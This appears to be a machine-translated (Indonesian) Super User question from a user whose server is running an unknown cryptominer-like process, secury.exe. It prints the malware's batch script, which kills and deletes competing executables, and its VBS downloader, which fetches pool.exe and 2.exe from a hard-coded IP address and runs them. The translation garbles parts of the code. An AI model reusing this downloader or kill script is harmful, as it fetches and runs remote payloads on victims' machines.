windows - Cara mematikan bootstrapper klien uap secara permanen - Pengguna Super

Saya memiliki situasi berikut di task manager saya:

Saya memiliki situasi berikut di task manager saya:

Saya tidak tahu seperti apa aplikasi itu, tetapi jelas bukan Steamstrap client bootstrapper karena saya tidak menginstalnya dan juga tidak dapat menghapus instalannya.

Jika saya mencoba mencari tahu jenis aplikasi apa itu melalui langkah ini:

Saya melihat sesuatu seperti ini:

Dalam utilitas MS Config saya tidak menemukan apa pun yang tampak seperti secury.exe.

Ketika saya membuka lokasi file, saya melihat tiga file:

m.bat, b.exe, 4.vbs.

Di bawah ini pergi konten m.bat:

taskkill / f / t / im secury.exe c: \ ProgramData \ secury.exe taskkill / f / t / im kingsoft.exe taskkill / f / t / im expl0rer.exe taskkill / f / t / im ieplare.exev taskkill / taskkill f / t / im nssm.exe / f / t / im taskshill MSASCui.exe / f / t / im SystemSettlngs.exe taskkill / f / t / im SystemSetting.exe taskkill / f / t / im Process.exe taskkill / f / t / im winlnlt.exe taskkill / f / t / im WindowsUpgrade.exe taskkill / f / t / im msdc.exe taskkill / f / t / im Fiddlere.exe taskkill / f / t / im shovst.exe taskkill / taskkill f / t / im lqrtqe.exe / f / t / im apkls.exe taskkill / f / t / im winlog.exe taskkill / f / t / im svchosts.exe taskkill / f / t / im win1ogins.exe taskkill / f / t / im shovsts.exe taskkill / f / t / im fcty.exe taskkill / f / t / im soiuos.exe taskkill / f / t / im TrustedInstaller.exe del C: \ Windows \ System32 \ soiuos.exe del C: \ Windows \ Setup \ del. TrustedInstaller.exe C: \ ProgramData \ del kingsoft.exe C: \ ProgramData \ expl0rer.exe del C: \ ProgramData \ ieplare.exe del C: \ ProgramData \ nssm.exe del C: \ ProgramData \ MSASCui.exe del C: \ Pro gramData \ SystemSettlngs.exe del C: \ ProgramData \ SystemSetting.exe del C: \ ProgramData \ Process.exe del C: \ ProgramData \ winlnlt.exe del C: \ ProgramData \ WindowsUpgrade.exe del C: \ ProgramData \ msdc.exe del C: \ ProgramData \ Fiddlere.exe del C: \ ProgramData \ shovst.exe del C: \ ProgramData \ lqrtqe.exe del C: \ ProgramData \ apkls.exe del C: \ ProgramData \ winlog.exe del C: \ ProgramData \ svchosts.exe del C: \ ProgramData \ win1ogins.exe del C: \ ProgramData \ shovsts.exe del C: \ ProgramData \ fcty.exe del C: \ ProgramData \ pool.exe del C: \ ProgramData \ pool2.exe del del C: \ ProgramData \ pool3.exe

Selanjutnya 4.vbs:

Set xPost = CreateObject ("Microsoft.XMLHTTP") xPost.Open "GET", "http://223.68.209.7:65510/2.exe", 0 xPost.Send () Set sGet = CreateObject ("ADODB.Stream" ) sGet.Mode = 3 sGet.Type = 1 sGet.Open () sGet.Write (xPost.responseBody) sGet.SaveToFile "c: \ ProgramData \ s2.exe", 2 Set xPost = CreateObject ("Microsoft.XMLHTTP") xPost.Open "GET", "http://223.68.209.7:65510/pool.exe", 0 xPost.Send () Set sGet = CreateObject ("ADODB.Stream") sGet.Mode = 3 sGet.Type = 1 sGet.Open () sGet.Write (xPost.responseBody) sGet.SaveToFile "c: \ ProgramData \ pool2.exe", 2 CreateObject ("WScript.Shell"). Jalankan "C: \ ProgramData \ pool3.exe" CreateObject ( "WScript.Shell"). Jalankan "del C: \ ProgramData \ pool3.exe"

Apa yang bisa saya lakukan untuk menghentikan secury.exe dari menyalahgunakan daya komputasi server saya?

PS Saya sudah menjalankan Avast cek lengkap dari komputer saya, tetapi tidak menemukan kesalahan.

Exe dari menyalahgunakan daya komputasi server saya?

Новости